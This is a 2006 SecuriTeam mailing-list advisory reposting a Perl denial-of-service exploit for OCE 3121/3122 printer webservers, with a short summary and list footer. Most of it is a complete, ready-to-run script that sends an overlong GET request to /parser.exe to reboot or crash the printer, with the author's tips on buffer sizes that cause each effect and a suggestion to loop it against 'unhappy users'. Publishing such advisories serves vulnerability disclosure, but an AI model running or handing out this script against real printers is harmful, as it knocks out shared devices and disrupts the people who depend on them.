[EXPL] OCE Printer Webserver DoS Exploit
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 1 May 2006 13:59:40 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
OCE Printer Webserver DoS Exploit
------------------------------------------------------------------------
SUMMARY
<http://www.oceusa.com/> OCE 3121/3122 are production printing devices.
The printer runs a webserver to provide various printing tasks from Java
enabled browsers. The server is vulnerable to a long URL request which
will either reboot or crash the device.
DETAILS
Vulnerable Systems:
* OCE 3121 and 3122 Printers.
Exploit:
#!/usr/bin/perl
#
#OCE 3121/3122 Printer DoS Exploit
#----------------------------
#By Herman Groeneveld aka sh4d0wman
#trancelover75 [AT] gmail.com
#
#Description: the printer runs a webserver to provide various printing
tasks from
#java enabled browsers. Input is being filtered for bad characters.
#However it is vulnerable to a long url request. This will either reboot
or crash the device.
#
#On crash, the "system" led on the printer changes from green to orange.
No further printing is done
#until somebody resets the printer by flipping the powerswitch. E675 error
displayed in printer display.
#On reboot, printing resumes after the device has completed it's reboot
cycle.
#
#Crash is hard to accomplish. Play with the buffer input size. 261 worked
at my printer.
#Values of 250/500/50000 are known to reboot the printer. No reliable size
for crashing yet.
#
#Loop this exploit and printing will be nearly impossible. Tested: unhappy
users. Not implemented.
#
#If you test this on your device, pls let me know the result. I had just 1
printer to test it at ;)
#
#Discovered: 29/03/2006
#Target: tested against OCE 3121/3122 printer.
#Vendor: www.oce.com (no response)
use IO::Socket;
if (@ARGV != 3)
{
print "
\n";
print " #OCE 3121/3122 Printer DoS Exploit#
\n";
"---------------------------------------------------------------\n";
print " Usage: crashoce.pl <target ip> <target port> <request
length> \n";
print " Example: new.pl 127.0.0.1 80 250
\n";
print " Play with request length for reboot or crash effect.
\n\n";
print " #Coded by sh4d0wman 31/03/2006#
\n";
exit(1);
}
$targetip =$ARGV[0]; #user input, no much fun in attacking
127.0.0.1 is it?
$targetport =$ARGV[1]; #user input since vendor might change this
some day, unlikely though :-)
$reqlength = $ARGV[2]; #user input since different sizes give
different results
print "[-] OCE 3122 Printer DoS Exploit\n\n";
print "[-] Target IP: ";
print $targetip;
print "\n[-] Connecting to target IP...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$targetip",
PeerPort => "$targetport"); unless ($socket) { die "- Could not
connect. Check IP & port. Hint: default port is 80!\n"}
print "[-] Connected to printer\n\n";
print "[-] Creating DoS request...\n";
$bufa='A'x$reqlength; #creating payload, length based on user input
print "[-] Sending request...\n\n";
print $socket "GET /parser.exe?".$bufa.".html"." HTTP/1.1\r\n\r\n";
sleep 5; #Be advised! Printer reaction to exploit can take up to
30 sec. Pls, be patient...
print "[>]Attack completed! Printer in error state or rebooting.\n";
close($socket);
ADDITIONAL INFORMATION
The original article can be found at:
<http://www.milw0rm.com/exploits/1718>
http://www.milw0rm.com/exploits/1718
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [NT] Multiple Vendor ISO Image Directory Traversal
- Next by Date: [NT] Symantec Scan Engine Multiple Vulnerabilities
- Previous by thread: [NT] Multiple Vendor ISO Image Directory Traversal
- Next by thread: [NT] Symantec Scan Engine Multiple Vulnerabilities
- Index(es):
Relevant Pages
|
|
